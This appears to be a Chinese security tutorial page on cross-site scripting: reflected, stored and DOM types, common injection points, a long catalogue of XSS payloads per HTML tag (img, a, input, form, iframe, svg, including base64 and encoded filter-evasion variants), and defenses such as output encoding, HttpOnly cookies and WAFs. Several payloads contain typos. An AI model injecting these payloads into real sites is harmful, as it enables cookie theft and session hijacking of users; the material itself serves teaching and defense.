二十五:XSS跨站值原理分类及攻击手法
HTML DOM树
XSS跨站产生原理,危害,特点
本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本
XSS是什么?
XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。
XSS会造成那些危害?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。
• 网络钓鱼,包括获取各类用户账号;
• 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
• 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等;
• 强制弹出广告页面、刷流量等;
• 网页挂马;
• 进行恶意操作,如任意篡改页面信息、删除文章等;
• 进行大量的客户端攻击,如ddos等;
• 获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
• 控制受害者机器向其他网站发起攻击;
• 结合其他漏洞,如csrf,实施进一步危害;
• 提升用户权限,包括进一步渗透网站;
• 传播跨站脚本蠕虫等
XSS是如何产生的
通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
XSS常见出现漏洞的地方
数据交互的地方
§ get、post、cookies、headers
§ 反馈与浏览
§ 富文本编辑器
§ 各类标签插入和自定义
数据输出的地方
§ 用户资料
§ 关键词、标签、说明
§ 文件上传
XSS跨站漏洞分类:反射,存储,DOM
从产生层面,具体区别,危害等级讲解
XSS的分类
○ 反射性XSS
○ 存储型XSS
○ DOM型XSS
反射性XSS
又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。
常见注入点
网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。
邮件等形式包含xss代码,用户点击时,服务器处理,触发XSS
攻击方式
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,
浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
存储型XSS
又称持久型XSS,比反射型XSS更具有威胁性,并且可能影响到Web服务器自身的安全。攻击脚本将被永久的存放在目标服务器的数据库或文件中。
常见注入点
论坛、博客、留言板、网站的留言、评论、日志等交互处。
攻击方式
攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了
恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。
DOM型XSS
DOM(Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的。不需要与服务器进行交互。
**注入点**
通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所
以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
**攻击方式**
用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存
在XSS漏洞。
**HTML标签:select介绍**
select元素可创建单选或者多选菜单 <option>标签用于定义列表的可用选项
<option value ="voluo">volvo</opyion>提交voluo的 ,下拉列表,选择选项
表单用于搜集不同类型的用户输入 登录功能通过表单实现
在form表单值中提交标签,达到xss效果。
隐藏域用来收集或者发送信息的不可见元素,对于网页的访问者来说,隐藏域是不可见的。表单被提交时,隐藏域就会将信息用你设置时的名称和值发送到服务器上
input type hidden 隐藏值 svg:可缩放矢量图形(scalable vector graphics)
svg使用XML格式定义图像 可通过以下标签嵌入HTML文档 <embed><object><iframe>
表单属性:
value,redonly,disable,size,maxlength python计算payload长度
闭合某提交参数数值的标签,使其产生XSS弹框。
javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript后的URL中。这个特殊的协议类型申明了URL主体是任意的javascript代码,它由javascript的解释器运行。且用分号分
割 ;
a标签,超链接,从一个页面跳转至另一个页面,最重要的是herf属性,指定连接的目标。
利用:
GET型:在URL中提交的参数在页面中显示,极有可能存在XSS,反射型。
POST型:表单中提交的参数,在页面中显示,存在XSS
JSON中,轻量级数据交换格式
自定义HTTP头,存在XSS,贴吧留言处形成反射型XSS
实例化不存在XSS,黑民单过滤,依次尝试,进而达成存储型XSS
常见标签
<img>标签
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<!--CSS标记xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1 onmouseover=alert('xss')>
<a>标签
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input标签
标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
<form>标签
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>标签
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
svg<>标签
<svg onload=alert(1)>
XSS的防御
使用XSS Filter
**输入过滤**
a. 输入验证对用户提交的数据进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此以外的其他任何数据。
常见的检测或过滤:
○ 输入是否仅仅包含合法的字符
○ 输入字符串是否超过最大长度的限制
○ 输入如果为数字,数字是否在指定的范围内
○ 输入是否符合特定的格式要求,如邮箱、电话号码、ip地址等
数据消毒
除了在客户端验证数据的合法性,输入过滤中最重要的还是过滤和净化有害的输入,例如如下常见的敏感字符:
|| < > ' " & # javascript expression
输出编码
对输出的数据进行编码,如HTML编码,就是让可能造成危害的信息变成无害。
白名单和黑名单
定制过滤策略
web安全编码规范
防御DOM-Based XSS
**两点注意点**:
i. 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现。
ii. 分析和强化客户端Javascript代码,尤其是一些受到影响的Dom对象
**其他防御方式**
**Anti_XSS**
微软开发的,.Net平台下的,用于方式XSS攻击的类库,它提供了大量的编码函数来对用户输入的数据进行编码,可以实现基于白名单的输入的过滤和输出编码。
**HttpOnly Cookie**
当Cookie在消息头中被设置为HttpOnly时,这样支持Cookie的浏览器将阻止客户端Javascript直接访问浏览器中的cookies,从而达到保护敏感数据的作用。
**Noscript**
Noscript是一款免费的开源插件,该插件默认禁止所有脚本,但可以自定义设置允许通过的脚本。
**WAF**
使用WAF,比如软WAF,硬WAF、云WAF等。
二十五:XSS跨站值原理分类及攻击手法的更多相关文章
- 二十七:XSS跨站之代码及httponly绕过
httponly:如果给某个 cookie 设置了 httpOnly 属性,则无法通过 JS 脚本 读取到该 cookie 的信息,但还Application 中手动修改 cookie,所以只是在一定 ...
- php分享二十五:跨域请求
问题: 跨域请求有几种方式? jsonp支持哪几种请求方式? 支持post请求吗? 支持get请求吗? 由于浏览器同源策略,凡是发送请求url的协议.域名.端口三者之间任意一与当前页面地址不同即为跨域 ...
- JAVA之旅(二十五)——文件复制,字符流的缓冲区,BufferedWriter,BufferedReader,通过缓冲区复制文件,readLine工作原理,自定义readLine
JAVA之旅(二十五)--文件复制,字符流的缓冲区,BufferedWriter,BufferedReader,通过缓冲区复制文件,readLine工作原理,自定义readLine 我们继续IO上个篇 ...
- Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏
原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...
- XSS跨站及利用
(一)软件测试环境以及搭建 测试环境:本地 XAMPP 1.7.1 测试软件:PHP168整站v5.0 软件下载地址 http://down2.php168.com/v2008.rar PHP.ini ...
- WCF技术剖析之二十五: 元数据(Metadata)架构体系全景展现[元数据描述篇]
原文:WCF技术剖析之二十五: 元数据(Metadata)架构体系全景展现[元数据描述篇] 在[WS标准篇]中我花了很大的篇幅介绍了WS-MEX以及与它相关的WS规范:WS-Policy.WS-Tra ...
- XSS跨站攻击
目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...
- XSS跨站脚步攻击及防范
XSS(Cross Site Script)跨站脚本攻击.它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到侵害用户 ...
- Java进阶(二十五)Java连接mysql数据库(底层实现)
Java进阶(二十五)Java连接mysql数据库(底层实现) 前言 很长时间没有系统的使用java做项目了.现在需要使用java完成一个实验,其中涉及到java连接数据库.让自己来写,记忆中已无从搜 ...
随机推荐
- 大数据组件Kerberos安全访问关键代码
版本信息 <version.hbase>2.1.0-cdh6.2.1</version.hbase> <version.hadoop>3.0.0-cdh6.2.1& ...
- linux 配置本地yum源,配置国内yum源,配置epel源
目录 一.配置本地yum源 二.配置国内yum源和epel源 一.配置本地yum源 1.挂载ISO镜像 mount -o loop /mnt/yum-iso/CentOS-7-x86_64-DVD-1 ...
- exp(cos(t)) - 2*cos(4.*t) + (sin(t./12)).^5;图形
clc; clear all; close all; t = linspace(0,24*pi,1000); r = exp(cos(t)) - 2*cos(4.*t) + (sin(t./12)). ...
- Python求一个数字列表的元素总和
Python求一个数字列表的元素总和.练手: 第一种方法,直接sum(list): 1 lst = list(range(1,11)) #创建一个1-10的数字列表 2 total = 0 #初始化总 ...
- Java生产环境下性能监控与调优详解视频教程 百度云 网盘
集数合计:9章Java视频教程详情描述:A0193<Java生产环境下性能监控与调优详解视频教程>软件开发只是第一步,上线后的性能监控与调优才是更为重要的一步本课程将为你讲解如何在生产环境 ...
- SonarQube学习(一)- 使用Docker安装SonarQube(亲测可用)
一.前言 不得不吐槽下,现在的博客写的真太扯淡了,就网上写的使用docker安装SonarQube而言,搜到十篇文章,最少9篇照着操作配置都不可用,卡在SonarQube无法启动.自然,我也是被折磨的 ...
- 多图详解Go的sync.Pool源码
转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com 本文使用的go的源码时14.4 Pool介绍 总所周知Go 是一个自动垃圾回收的编程语言 ...
- java电脑环境变量配置
ANT_HOME D:\apache-ant-1.9.11CLASSPATH %JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib;%JAVA_HOME%\l ...
- Nginx压力测试问题
[root@aa~]# This is ApacheBench, Version 2.3 <Revision:655654Revision:655654> Copyright 1996 A ...
- JVM——GC(垃圾回收)算法
一.垃圾回收的基本概念 垃圾回收(GC,Garbage Collection),指内存中不会再被使用的对象清理掉. 垃圾回收有很多种算法:如引用计数法.标记压缩法.复制算法.分代/分区的思想 二.垃圾 ...